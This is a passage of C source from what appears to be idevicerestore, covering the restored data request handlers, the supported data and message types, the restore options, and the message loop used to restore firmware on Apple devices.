identity\n", component); } } if (!path) { plist_t build_identity = restore_get_build_identity_from_request(client, message); if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to find %s path from build identity\n", component); return -1; } } } if (!path) { error("ERROR: Failed to get path for component %s\n", component); return -1; } uint64_t fsize = 0; ipsw_get_file_size(client->ipsw, path, &fsize); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending %s now (%" PRIu64 " bytes)\n", component, fsize); struct _restore_send_file_data_ctx rctx; rctx.client = client; rctx.service = service; rctx.last_progress = 0; if (ipsw_extract_send(client->ipsw, path, 8192, (ipsw_send_cb)_restore_send_file_data, &rctx) < 0) { free(path); _restore_service_free(service); error("ERROR: Failed to send component %s\n", component); return -1; } free(path); _restore_service_free(service); info("Done sending %s\n", component); return 0; } int restore_send_restore_local_policy(struct idevicerestore_client_t* client, plist_t message) { unsigned int size = 0; unsigned char* data = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; char* component = "Ap,LocalPolicy"; component_data = malloc(sizeof(lpol_file)); component_size = sizeof(lpol_file); memcpy(component_data, lpol_file, component_size); // The Update mode does not have a specific build identity for the recovery os. plist_t build_identity = restore_get_build_identity(client, client->flags & FLAG_ERASE ? 1 : 0); int ret = get_recovery_os_local_policy_tss_response(client, build_identity, &client->tss_localpolicy, plist_dict_get_item(message, "Arguments")); if (ret < 0) { error("ERROR: Unable to get recovery os local policy tss response\n"); return -1; } ret = personalize_component(component, component_data, component_size, client->tss_localpolicy, &data, &size); free(component_data); component_data = NULL; if (ret < 0) { error("ERROR: Unable to get personalized component %s\n", component); return -1; } plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "Ap,LocalPolicy", plist_new_data((char*)data, size)); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } int restore_error = 0; restore_error = _restore_service_send(service, dict, 0); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send component %s data\n", component); return -1; } plist_free(dict); free(data); return 0; } int restore_send_buildidentity(struct idevicerestore_client_t* client, plist_t message) { restored_error_t restore_error; plist_t dict; restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("About to send BuildIdentity Dict...\n"); plist_t build_identity = restore_get_build_identity_from_request(client, message); dict = plist_new_dict(); plist_dict_set_item(dict, "BuildIdentityDict", plist_copy(build_identity)); plist_t node = plist_access_path(message, 2, "Arguments", "Variant"); if(node) { plist_dict_set_item(dict, "Variant", plist_copy(node)); } else { plist_dict_set_item(dict, "Variant", plist_new_string("Erase")); } info("Sending BuildIdentityDict now...\n"); restore_error = _restore_service_send(service, dict, 0); _restore_service_free(service); plist_free(dict); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send BuildIdentityDict (%d)\n", restore_error); return -1; } info("Done sending BuildIdentityDict\n"); return 0; } int restore_handle_data_request_msg(struct idevicerestore_client_t* client, plist_t message) { plist_t node = NULL; // checks and see what kind of data restored is requests and pass // the request to its own handler node = plist_dict_get_item(message, "DataType"); if (node && PLIST_STRING == plist_get_node_type(node)) { const char *type = plist_get_string_ptr(node, NULL); debug("%s: type = %s\n", __func__, type); // this request is sent when restored is ready to receive the filesystem if (!strcmp(type, "SystemImageData")) { if (restore_send_filesystem(client, message) < 0) { error("ERROR: Unable to send filesystem\n"); return -2; } } else if (!strcmp(type, "BuildIdentityDict")) { if (restore_send_buildidentity(client, message) < 0) { error("ERROR: Unable to send RootTicket\n"); return -1; } } else if (!strcmp(type, "PersonalizedBootObjectV3")) { if (restore_send_personalized_boot_object_v3(client, message) < 0) { error("ERROR: Unable to send PersonalizedBootObjectV3\n"); return -1; } } else if (!strcmp(type, "SourceBootObjectV4")) { if (restore_send_source_boot_object_v4(client, message) < 0) { error("ERROR: Unable to send SourceBootObjectV4\n"); return -1; } } else if (!strcmp(type, "RecoveryOSLocalPolicy")) { if (restore_send_restore_local_policy(client, message) < 0) { error("ERROR: Unable to send RecoveryOSLocalPolicy\n"); return -1; } } // this request is sent when restored is ready to receive the filesystem else if (!strcmp(type, "RecoveryOSASRImage")) { if (restore_send_filesystem(client, message) < 0) { error("ERROR: Unable to send filesystem\n"); return -2; } } // Send RecoveryOS RTD else if(!strcmp(type, "RecoveryOSRootTicketData")) { if (restore_send_recovery_os_root_ticket(client, message) < 0) { error("ERROR: Unable to send RootTicket\n"); return -1; } } // send RootTicket (== APTicket from the TSS request) else if (!strcmp(type, "RootTicket")) { if (restore_send_root_ticket(client, message) < 0) { error("ERROR: Unable to send RootTicket\n"); return -1; } } // send KernelCache else if (!strcmp(type, "KernelCache")) { if (restore_send_component(client, message, "KernelCache", NULL) < 0) { error("ERROR: Unable to send kernelcache\n"); return -1; } } else if (!strcmp(type, "DeviceTree")) { if (restore_send_component(client, message, "DeviceTree", NULL) < 0) { error("ERROR: Unable to send DeviceTree\n"); return -1; } } else if (!strcmp(type, "SystemImageRootHash")) { if (restore_send_component(client, message, "SystemVolume", type) < 0) { error("ERROR: Unable to send SystemImageRootHash data\n"); return -1; } } else if (!strcmp(type, "SystemImageCanonicalMetadata")) { if (restore_send_component(client, message, "Ap,SystemVolumeCanonicalMetadata", type) < 0) { error("ERROR: Unable to send SystemImageCanonicalMetadata data\n"); return -1; } } else if (!strcmp(type, "NORData")) { if((client->flags & FLAG_EXCLUDE) == 0) { if(restore_send_nor(client, message) < 0) { error("ERROR: Unable to send NOR data\n"); return -1; } } else { info("Not sending NORData... Quitting...\n"); client->flags |= FLAG_QUIT; } } else if (!strcmp(type, "BasebandData")) { if(restore_send_baseband_data(client, message) < 0) { error("ERROR: Unable to send baseband data\n"); return -1; } } else if (!strcmp(type, "FDRTrustData")) { if(restore_send_fdr_trust_data(client, message) < 0) { error("ERROR: Unable to send FDR Trust data\n"); return -1; } } else if (!strcmp(type, "FUDData")) { if(restore_send_image_data(client, message, "FUDImageList", "IsFUDFirmware", "FUDImageData") < 0) { error("ERROR: Unable to send FUD data\n"); return -1; } } else if (!strcmp(type, "FirmwareUpdaterPreflight")) { if(restore_send_firmware_updater_preflight(client, message) < 0) { error("ERROR: Unable to send FirmwareUpdaterPreflight\n"); return -1; } } else if (!strcmp(type, "FirmwareUpdaterData")) { if(restore_send_firmware_updater_data(client, message) < 0) { error("ERROR: Unable to send FirmwareUpdater data\n"); return -1; } } else if (!strcmp(type, "PersonalizedData")) { if(restore_send_image_data(client, message, "ImageList", NULL, "ImageData") < 0) { error("ERROR: Unable to send Personalized data\n"); return -1; } } else if (!strcmp(type, "EANData")) { if(restore_send_image_data(client, message, "EANImageList", "IsEarlyAccessFirmware", "EANData") < 0) { error("ERROR: Unable to send Personalized data\n"); return -1; } } else if (!strcmp(type, "BootabilityBundle")) { if (restore_send_bootability_bundle_data(client, message) < 0) { error("ERROR: Unable to send BootabilityBundle data\n"); return -1; } } else if (!strcmp(type, "ReceiptManifest")) { if (restore_send_receipt_manifest(client, message) < 0) { error("ERROR: Unable to send ReceiptManifest data\n"); return -1; } } else if (!strcmp(type, "BasebandUpdaterOutputData")) { if (restore_handle_baseband_updater_output_data(client, message) < 0) { error("ERROR: Unable to send BasebandUpdaterOutputData data\n"); return -1; } } else if (!strcmp(type, "URLAsset")) { if (restore_send_url_asset(client, message) < 0) { error("ERROR: Unable to send URLAsset data\n"); return -1; } } else if (!strcmp(type, "StreamedImageDecryptionKey")) { if (restore_send_streamed_image_decryption_key(client, message) < 0) { error("ERROR: Unable to send StreamedImageDecryptionKey data\n"); return -1; } } else { // Unknown DataType!! error("Unknown data request '%s' received\n", type); if (idevicerestore_debug) debug_plist(message); } } return 0; } struct _restore_async_args { struct idevicerestore_client_t* client; plist_t message; }; static void* _restore_handle_async_data_request(void* args) { struct _restore_async_args* async_args = (struct _restore_async_args*)args; struct idevicerestore_client_t* client = async_args->client; plist_t message = async_args->message; free(async_args); int err = restore_handle_data_request_msg(client, message); if (err < 0) { client->async_err = err; client->flags |= FLAG_QUIT; } plist_free(message); return NULL; } static int restore_handle_restored_crash(struct idevicerestore_client_t* client, plist_t message) { plist_t backtrace = plist_dict_get_item(message, "RestoredBacktrace"); info("*** restored crashed, backtrace following ***"); if (PLIST_IS_STRING(backtrace)) { info("%s\n", plist_get_string_ptr(backtrace, NULL)); } else if (PLIST_IS_ARRAY(backtrace)) { uint32_t i = 0; for (i = 0; i < plist_array_get_size(backtrace); i++) { plist_t line = plist_array_get_item(backtrace, i); info("\t%s\n", plist_get_string_ptr(line, NULL)); } } else { debug_plist(message); } return 0; } static int restore_handle_async_wait(struct idevicerestore_client_t* client, plist_t message) { debug("AsyncWait\n"); if (idevicerestore_debug) debug_plist(message); return 0; } static int restore_handle_restore_attestation(struct idevicerestore_client_t* client, plist_t message) { if (idevicerestore_debug) debug_plist(message); debug("Sending RestoreShouldAttest: false\n"); plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "RestoreShouldAttest", plist_new_bool(0)); restored_error_t restore_error = restored_send(client->restore->client, dict); plist_free(dict); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send RestoreShouldAttest (%d)\n", restore_error); return -1; } return 0; } // Extracted from ac2 plist_t restore_supported_data_types() { plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "BasebandBootData", plist_new_bool(0)); plist_dict_set_item(dict, "BasebandData", plist_new_bool(0)); plist_dict_set_item(dict, "BasebandStackData", plist_new_bool(0)); plist_dict_set_item(dict, "BasebandUpdaterOutputData", plist_new_bool(0)); plist_dict_set_item(dict, "BootabilityBundle", plist_new_bool(0)); plist_dict_set_item(dict, "BuildIdentityDict", plist_new_bool(0)); plist_dict_set_item(dict, "BuildIdentityDictV2", plist_new_bool(0)); plist_dict_set_item(dict, "Cryptex1LocalPolicy", plist_new_bool(1)); plist_dict_set_item(dict, "DataType", plist_new_bool(0)); plist_dict_set_item(dict, "DiagData", plist_new_bool(0)); plist_dict_set_item(dict, "EANData", plist_new_bool(0)); plist_dict_set_item(dict, "FDRMemoryCommit", plist_new_bool(0)); plist_dict_set_item(dict, "FDRTrustData", plist_new_bool(0)); plist_dict_set_item(dict, "FUDData", plist_new_bool(0)); plist_dict_set_item(dict, "FileData", plist_new_bool(0)); plist_dict_set_item(dict, "FileDataDone", plist_new_bool(0)); plist_dict_set_item(dict, "FirmwareUpdaterData", plist_new_bool(0)); plist_dict_set_item(dict, "GrapeFWData", plist_new_bool(0)); plist_dict_set_item(dict, "HPMFWData", plist_new_bool(0)); plist_dict_set_item(dict, "HostSystemTime", plist_new_bool(1)); plist_dict_set_item(dict, "KernelCache", plist_new_bool(0)); plist_dict_set_item(dict, "NORData", plist_new_bool(0)); plist_dict_set_item(dict, "NitrogenFWData", plist_new_bool(1)); plist_dict_set_item(dict, "OpalFWData", plist_new_bool(0)); plist_dict_set_item(dict, "OverlayRootDataCount", plist_new_bool(0)); plist_dict_set_item(dict, "OverlayRootDataForKey", plist_new_bool(1)); plist_dict_set_item(dict, "PeppyFWData", plist_new_bool(1)); plist_dict_set_item(dict, "PersonalizedBootObjectV3", plist_new_bool(0)); plist_dict_set_item(dict, "PersonalizedData", plist_new_bool(1)); plist_dict_set_item(dict, "ProvisioningData", plist_new_bool(0)); plist_dict_set_item(dict, "RamdiskFWData", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSASRImage", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSAppleLogo", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSDeviceTree", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSFileAssetImage", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSIBEC", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSIBootFWFilesImages", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSImage", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSKernelCache", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSLocalPolicy", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSOverlayRootDataCount", plist_new_bool(0)); plist_dict_set_item(dict, "RecoveryOSRootTicketData", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSStaticTrustCache", plist_new_bool(1)); plist_dict_set_item(dict, "RecoveryOSVersionData", plist_new_bool(1)); plist_dict_set_item(dict, "RootData", plist_new_bool(0)); plist_dict_set_item(dict, "RootTicket", plist_new_bool(0)); plist_dict_set_item(dict, "S3EOverride", plist_new_bool(0)); plist_dict_set_item(dict, "SourceBootObjectV3", plist_new_bool(0)); plist_dict_set_item(dict, "SourceBootObjectV4", plist_new_bool(0)); plist_dict_set_item(dict, "SsoServiceTicket", plist_new_bool(0)); plist_dict_set_item(dict, "StockholmPostflight", plist_new_bool(0)); plist_dict_set_item(dict, "SystemImageCanonicalMetadata", plist_new_bool(0)); plist_dict_set_item(dict, "SystemImageData", plist_new_bool(0)); plist_dict_set_item(dict, "SystemImageRootHash", plist_new_bool(0)); plist_dict_set_item(dict, "USBCFWData", plist_new_bool(0)); plist_dict_set_item(dict, "USBCOverride", plist_new_bool(0)); plist_dict_set_item(dict, "FirmwareUpdaterPreflight", plist_new_bool(1)); plist_dict_set_item(dict, "ReceiptManifest", plist_new_bool(1)); plist_dict_set_item(dict, "FirmwareUpdaterDataV2", plist_new_bool(0)); plist_dict_set_item(dict, "RestoreLocalPolicy", plist_new_bool(1)); plist_dict_set_item(dict, "AuthInstallCACert", plist_new_bool(1)); plist_dict_set_item(dict, "OverlayRootDataForKeyIndex", plist_new_bool(1)); plist_dict_set_item(dict, "FirmwareUpdaterDataV3", plist_new_bool(1)); plist_dict_set_item(dict, "MessageUseStreamedImageFile", plist_new_bool(1)); plist_dict_set_item(dict, "UpdateVolumeOverlayRootDataCount", plist_new_bool(1)); plist_dict_set_item(dict, "URLAsset", plist_new_bool(1)); return dict; } // Extracted from ac2 plist_t restore_supported_message_types() { plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "BBUpdateStatusMsg", plist_new_bool(0)); plist_dict_set_item(dict, "CheckpointMsg", plist_new_bool(1)); plist_dict_set_item(dict, "DataRequestMsg", plist_new_bool(0)); plist_dict_set_item(dict, "FDRSubmit", plist_new_bool(1)); plist_dict_set_item(dict, "MsgType", plist_new_bool(0)); plist_dict_set_item(dict, "PreviousRestoreLogMsg", plist_new_bool(0)); plist_dict_set_item(dict, "ProgressMsg", plist_new_bool(0)); plist_dict_set_item(dict, "ProvisioningAck", plist_new_bool(0)); plist_dict_set_item(dict, "ProvisioningInfo", plist_new_bool(0)); plist_dict_set_item(dict, "ProvisioningStatusMsg", plist_new_bool(0)); plist_dict_set_item(dict, "ReceivedFinalStatusMsg", plist_new_bool(0)); plist_dict_set_item(dict, "RestoredCrash", plist_new_bool(1)); plist_dict_set_item(dict, "StatusMsg", plist_new_bool(0)); plist_dict_set_item(dict, "AsyncDataRequestMsg", plist_new_bool(1)); plist_dict_set_item(dict, "AsyncWait", plist_new_bool(1)); plist_dict_set_item(dict, "RestoreAttestation", plist_new_bool(1)); return dict; } #ifdef HAVE_REVERSE_PROXY static void rp_log_cb(reverse_proxy_client_t client, const char* log_msg, void* user_data) { info("ReverseProxy[%s]: %s\n", (reverse_proxy_get_type(client) == RP_TYPE_CTRL) ? "Ctrl" : "Conn", log_msg); } static void rp_status_cb(reverse_proxy_client_t client, reverse_proxy_status_t status, const char* status_msg, void* user_data) { info("ReverseProxy[%s]: (status=%d) %s\n", (reverse_proxy_get_type(client) == RP_TYPE_CTRL) ? "Ctrl" : "Conn", status, status_msg); } #endif int restore_device(struct idevicerestore_client_t* client, plist_t build_identity) { int err = 0; char* type = NULL; plist_t node = NULL; plist_t message = NULL; plist_t hwinfo = NULL; idevice_t device = NULL; restored_client_t restore = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; #ifndef HAVE_REVERSE_PROXY THREAD_T fdr_thread = THREAD_T_NULL; #endif restore_finished = 0; // open our connection to the device and verify we're in restore mode err = restore_open_with_timeout(client); if (err < 0) { error("ERROR: Unable to open device in restore mode\n"); return (err == -2) ? -1: -2; } info("Device %s has successfully entered restore mode\n", client->udid); client->restore->build_identity = build_identity; restore = client->restore->client; device = client->restore->device; restore_error = restored_query_value(restore, "HardwareInfo", &hwinfo); if (restore_error == RESTORE_E_SUCCESS) { uint64_t i = 0; uint8_t b = 0; info("Hardware Information:\n"); node = plist_dict_get_item(hwinfo, "BoardID"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &i); info("BoardID: %d\n", (int)i); } node = plist_dict_get_item(hwinfo, "ChipID"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &i); info("ChipID: %d\n", (int)i); } node = plist_dict_get_item(hwinfo, "UniqueChipID"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &i); info("UniqueChipID: %" PRIu64 "\n", i); } node = plist_dict_get_item(hwinfo, "ProductionMode"); if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { plist_get_bool_val(node, &b); info("ProductionMode: %s\n", (b==1) ? "true":"false"); } plist_free(hwinfo); } restore_error = restored_query_value(restore, "SavedDebugInfo", &hwinfo); if (restore_error == RESTORE_E_SUCCESS) { char* sval = NULL; node = plist_dict_get_item(hwinfo, "PreviousExitStatus"); if (node && plist_get_node_type(node) == PLIST_STRING) { plist_get_string_val(node, &sval); info("Previous restore exit status: %s\n", sval); free(sval); sval = NULL; } node = plist_dict_get_item(hwinfo, "USBLog"); if (node && plist_get_node_type(node) == PLIST_STRING) { plist_get_string_val(node, &sval); info("USB log is available:\n%s\n", sval); free(sval); sval = NULL; } node = plist_dict_get_item(hwinfo, "PanicLog"); if (node && plist_get_node_type(node) == PLIST_STRING) { plist_get_string_val(node, &sval); info("Panic log is available:\n%s\n", sval); free(sval); sval = NULL; } plist_free(hwinfo); } if (plist_dict_get_item(client->tss, "BBTicket")) { client->restore->bbtss = plist_copy(client->tss); } #ifdef HAVE_REVERSE_PROXY info("Starting Reverse Proxy\n"); reverse_proxy_client_t rproxy = NULL; if (reverse_proxy_client_create_with_port(device, &rproxy, REVERSE_PROXY_DEFAULT_PORT) != REVERSE_PROXY_E_SUCCESS) { error("Could not create Reverse Proxy\n"); } else { if (client->flags & FLAG_DEBUG) { reverse_proxy_client_set_log_callback(rproxy, rp_log_cb, NULL); } reverse_proxy_client_set_status_callback(rproxy, rp_status_cb, NULL); if (reverse_proxy_client_start_proxy(rproxy, 2) != REVERSE_PROXY_E_SUCCESS) { error("Device didn't accept new reverse proxy protocol, trying to use old one\n"); reverse_proxy_client_free(rproxy); rproxy = NULL; if (reverse_proxy_client_create_with_port(device, &rproxy, REVERSE_PROXY_DEFAULT_PORT) != REVERSE_PROXY_E_SUCCESS) { error("Could not create Reverse Proxy\n"); } else { if (client->flags & FLAG_DEBUG) { reverse_proxy_client_set_log_callback(rproxy, rp_log_cb, NULL); } reverse_proxy_client_set_status_callback(rproxy, rp_status_cb, NULL); if (reverse_proxy_client_start_proxy(rproxy, 1) != REVERSE_PROXY_E_SUCCESS) { error("ReverseProxy: Device didn't accept old protocol, giving up\n"); } } } } #else fdr_client_t fdr_control_channel = NULL; info("Starting FDR listener thread\n"); if (!fdr_connect(device, FDR_CTRL, &fdr_control_channel)) { if(thread_new(&fdr_thread, fdr_listener_thread, fdr_control_channel)) { error("ERROR: Failed to start FDR listener thread\n"); fdr_thread = THREAD_T_NULL; /* undefined after failure */ } } else { error("ERROR: Failed to start FDR Ctrl channel\n"); // FIXME: We might want to return failure here as it will likely fail } #endif plist_t opts = plist_new_dict(); // FIXME: required? //plist_dict_set_item(opts, "AuthInstallRestoreBehavior", plist_new_string("Erase")); plist_dict_set_item(opts, "AutoBootDelay", plist_new_uint(0)); if (client->preflight_info) { plist_t bbus = plist_copy(client->preflight_info); plist_dict_remove_item(bbus, "FusingStatus"); plist_dict_remove_item(bbus, "PkHash"); plist_dict_set_item(opts, "BBUpdaterState", bbus); plist_dict_copy_data(opts, client->preflight_info, "BasebandNonce", "Nonce"); } plist_dict_set_item(opts, "SupportedDataTypes", restore_supported_data_types()); plist_dict_set_item(opts, "SupportedMessageTypes", restore_supported_message_types()); // FIXME: Should be adjusted for update behaviors if (client->macos_variant) { plist_dict_set_item(opts, "AddSystemPartitionPadding", plist_new_bool(1)); plist_dict_set_item(opts, "AllowUntetheredRestore", plist_new_bool(0)); plist_dict_set_item(opts, "AuthInstallEnableSso", plist_new_bool(0)); char *macos_variant = NULL; int ret = extract_macos_variant(build_identity, &macos_variant); if (ret == 0) { plist_dict_set_item(opts, "AuthInstallRecoveryOSVariant", plist_new_string(macos_variant)); free(macos_variant); } plist_dict_set_item(opts, "AuthInstallRestoreBehavior", plist_new_string(client->flags & FLAG_ERASE ? "Erase": "Update")); plist_dict_set_item(opts, "AutoBootDelay", plist_new_uint(0)); plist_dict_set_item(opts, "BasebandUpdaterOutputPath", plist_new_bool(1)); plist_dict_set_item(opts, "DisableUserAuthentication", plist_new_bool(1)); plist_dict_set_item(opts, "FitSystemPartitionToContent", plist_new_bool(1)); plist_dict_set_item(opts, "FlashNOR", plist_new_bool(1)); plist_dict_set_item(opts, "FormatForAPFS", plist_new_bool(1)); plist_dict_set_item(opts, "FormatForLwVM", plist_new_bool(0)); plist_dict_set_item(opts, "InstallDiags", plist_new_bool(0)); plist_dict_set_item(opts, "InstallRecoveryOS", plist_new_bool(1)); plist_dict_set_item(opts, "MacOSSwapPerformed", plist_new_bool(1)); plist_dict_set_item(opts, "MacOSVariantPresent", plist_new_bool(1)); plist_dict_set_item(opts, "MinimumBatteryVoltage", plist_new_uint(0)); // FIXME: Should be adjusted for M1 macbooks (if needed) plist_dict_set_item(opts, "RecoveryOSUnpack", plist_new_bool(1)); plist_dict_set_item(opts, "ShouldRestoreSystemImage", plist_new_bool(1)); plist_dict_set_item(opts, "SkipPreflightPersonalization", plist_new_bool(0)); plist_dict_set_item(opts, "UpdateBaseband", plist_new_bool(1)); // FIXME: I don't know where this number comes from yet. It seems like it matches this part of the build identity: // OSVarContentSize // 573751296 // But i can't seem to find a plausible formula // It did work with multiple macOS versions plist_dict_set_item(opts, "recoveryOSPartitionSize", plist_new_uint(58201)); plist_t msp = plist_access_path(build_identity, 2, "Info", "MinimumSystemPartition"); if (msp) { plist_dict_set_item(opts, "SystemPartitionSize", plist_copy(msp)); } } else { // FIXME: new on iOS 5 ? plist_dict_set_item(opts, "BootImageType", plist_new_string("UserOrInternal")); // FIXME: required? //plist_dict_set_item(opts, "BootImageFile", plist_new_string("018-7923-347.dmg")); plist_dict_set_item(opts, "DFUFileType", plist_new_string("RELEASE")); plist_dict_set_item(opts, "DataImage", plist_new_bool(0)); // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "DeviceTreeFile", plist_new_string("DeviceTree.k48ap.img3")); plist_dict_set_item(opts, "FirmwareDirectory", plist_new_string(".")); // FIXME: usable if false? (-x parameter) plist_dict_set_item(opts, "FlashNOR", plist_new_bool(1)); // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "KernelCacheFile", plist_new_string("kernelcache.release.k48")); // FIXME: new on iOS 5 ? plist_dict_set_item(opts, "KernelCacheType", plist_new_string("Release")); // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "NORImagePath", plist_new_string(".")); // FIXME: new on iOS 5 ? plist_dict_set_item(opts, "NORImageType", plist_new_string("production")); // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "PersonalizedRestoreBundlePath", plist_new_string("/tmp/Per2.tmp")); plist_dict_set_item(opts, "RestoreBundlePath", plist_new_string("/tmp/Per2.tmp")); // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "SourceRestoreBundlePath", plist_new_string("/tmp")); // FIXME: new on iOS 5 ? plist_dict_set_item(opts, "SystemImageType", plist_new_string("User")); // FIXME: does this have any effect actually? plist_dict_set_item(opts, "UpdateBaseband", plist_new_bool(0)); // Added for iOS 18.0 beta 1 plist_dict_set_item(opts, "HostHasFixFor99053849", plist_new_bool(1)); plist_dict_set_item(opts, "SystemImageFormat", plist_new_string("AEAWrappedDiskImage")); plist_dict_set_item(opts, "WaitForDeviceConnectionToFinishStateMachine", plist_new_bool(0)); plist_t async_data_types = plist_new_dict(); plist_dict_set_item(async_data_types, "BasebandData", plist_new_bool(0)); plist_dict_set_item(async_data_types, "RecoveryOSASRImage", plist_new_bool(0)); plist_dict_set_item(async_data_types, "StreamedImageDecryptionKey", plist_new_bool(0)); plist_dict_set_item(async_data_types, "SystemImageData", plist_new_bool(0)); plist_dict_set_item(async_data_types, "URLAsset", plist_new_bool(1)); plist_dict_set_item(opts, "SupportedAsyncDataTypes", async_data_types); plist_t sep = plist_access_path(build_identity, 3, "Manifest", "SEP", "Info"); if (sep) { node = plist_dict_get_item(sep, "RequiredCapacity"); if (node && plist_get_node_type(node) == PLIST_STRING) { char* sval = NULL; plist_get_string_val(node, &sval); debug("TZ0RequiredCapacity: %s\n", sval); plist_dict_set_item(opts, "TZ0RequiredCapacity", plist_copy(node)); free(sval); sval = NULL; } } // FIXME: not required for iOS 5? //plist_dict_set_item(opts, "UserLocale", plist_new_string("en_US")); /* this is mandatory on iOS 7+ to allow restore from normal mode */ plist_dict_set_item(opts, "PersonalizedDuringPreflight", plist_new_bool(1)); } plist_dict_set_item(opts, "RootToInstall", plist_new_bool(0)); char* guid = generate_guid(); if (guid) { plist_dict_set_item(opts, "UUID", plist_new_string(guid)); free(guid); } plist_dict_set_item(opts, "CreateFilesystemPartitions", plist_new_bool(1)); plist_dict_set_item(opts, "SystemImage", plist_new_bool(1)); if (client->restore_boot_args) { plist_dict_set_item(opts, "RestoreBootArgs", plist_new_string(client->restore_boot_args)); } plist_t spp = plist_access_path(build_identity, 2, "Info", "SystemPartitionPadding"); if (spp) { spp = plist_copy(spp); } else { spp = plist_new_dict(); plist_dict_set_item(spp, "128", plist_new_uint(1280)); plist_dict_set_item(spp, "16", plist_new_uint(160)); plist_dict_set_item(spp, "32", plist_new_uint(320)); plist_dict_set_item(spp, "64", plist_new_uint(640)); plist_dict_set_item(spp, "8", plist_new_uint(80)); } plist_dict_set_item(opts, "SystemPartitionPadding", spp); // start the restore process restore_error = restored_start_restore(restore, opts, client->restore->protocol_version); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to start the restore process\n"); plist_free(opts); restore_client_free(client); return -1; } plist_free(opts); idevicerestore_progress(client, RESTORE_STEP_PREPARE, 1.0); // this is the restore process loop, it reads each message in from // restored and passes that data on to it's specific handler while (!(client->flags & FLAG_QUIT)) { if (err != 0 && client->flags & FLAG_IGNORE_ERRORS) { error("WARNING: Attempting to continue after critical error, restore might fail...\n"); err = 0; } // finally, if any of these message handlers returned -1 then we encountered // an unrecoverable error, so we need to bail. if (err < 0) { error("ERROR: Unable to successfully restore device\n"); client->flags |= FLAG_QUIT; } restore_error = restored_receive(restore, &message); #ifdef HAVE_RESTORE_E_RECEIVE_TIMEOUT if (restore_error == RESTORE_E_RECEIVE_TIMEOUT) { debug("No data to read (timeout)\n"); message = NULL; continue; } else if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Could not read data (%d). Aborting.\n", restore_error); err = -11; break; } #else if (restore_error != RESTORE_E_SUCCESS) { debug("No data to read\n"); message = NULL; continue; } #endif // discover what kind of message has been received node = plist_dict_get_item(message, "MsgType"); if (!node || plist_get_node_type(node) != PLIST_STRING) { debug("Unknown message received:\n"); //if (idevicerestore_debug) debug_plist(message); plist_free(message); message = NULL; continue; } plist_get_string_val(node, &type); // data request messages are sent by restored whenever it requires // files sent to the server by the client. these data requests include // SystemImageData, RootTicket, KernelCache, NORData and BasebandData requests if (!strcmp(type, "DataRequestMsg")) { err = restore_handle_data_request_msg(client, message); } // async data request message else if (!strcmp(type, "AsyncDataRequestMsg")) { THREAD_T t = THREAD_T_NULL; struct _restore_async_args* args = (struct _restore_async_args*)malloc(sizeof(struct _restore_async_args)); args->client = client; args->message = plist_copy(message); if (thread_new(&t, _restore_handle_async_data_request, args) < 0) { free(args); error("ERROR: Failed to start async data request handler thread!\n"); err = -1; } else { thread_detach(t); } } // restore logs are available if a previous restore failed else if (!strcmp(type, "PreviousRestoreLogMsg")) { err = restore_handle_previous_restore_log_msg(restore, message); } // progress notification messages sent by the restored inform the client // of it's current operation and sometimes percent of progress is complete else if (!strcmp(type, "ProgressMsg")) { err = restore_handle_progress_msg(client, message); } // status messages usually indicate the current state of the restored // process or often to signal an error has been encountered else if (!strcmp(type, "StatusMsg")) { err = restore_handle_status_msg(client, message); if (restore_finished) { plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "MsgType", plist_new_string("ReceivedFinalStatusMsg")); restored_send(restore, dict); plist_free(dict); client->flags |= FLAG_QUIT; } } else if (!strcmp(type, "CheckpointMsg")) { uint64_t ckpt_id; int64_t ckpt_res; uint8_t ckpt_complete = 0; const char* ckpt_name = NULL; // Get checkpoint id node = plist_dict_get_item(message, "CHECKPOINT_ID"); if (!node || plist_get_node_type(node) != PLIST_INT) { debug("Failed to parse checkpoint id from checkpoint plist\n"); err = -1; break; } plist_get_uint_val(node, &ckpt_id); // Get checkpoint_name node = plist_dict_get_item(message, "CHECKPOINT_NAME"); ckpt_name = (node) ? plist_get_string_ptr(node, NULL) : "unknown"; // Get checkpoint result node = plist_dict_get_item(message, "CHECKPOINT_RESULT"); if (!node || plist_get_node_type(node) != PLIST_INT) { debug("Failed to parse checkpoint result from checkpoint plist\n"); err = -1; break; } plist_get_int_val(node, &ckpt_res); // Get checkpoint complete node = plist_dict_get_item(message, 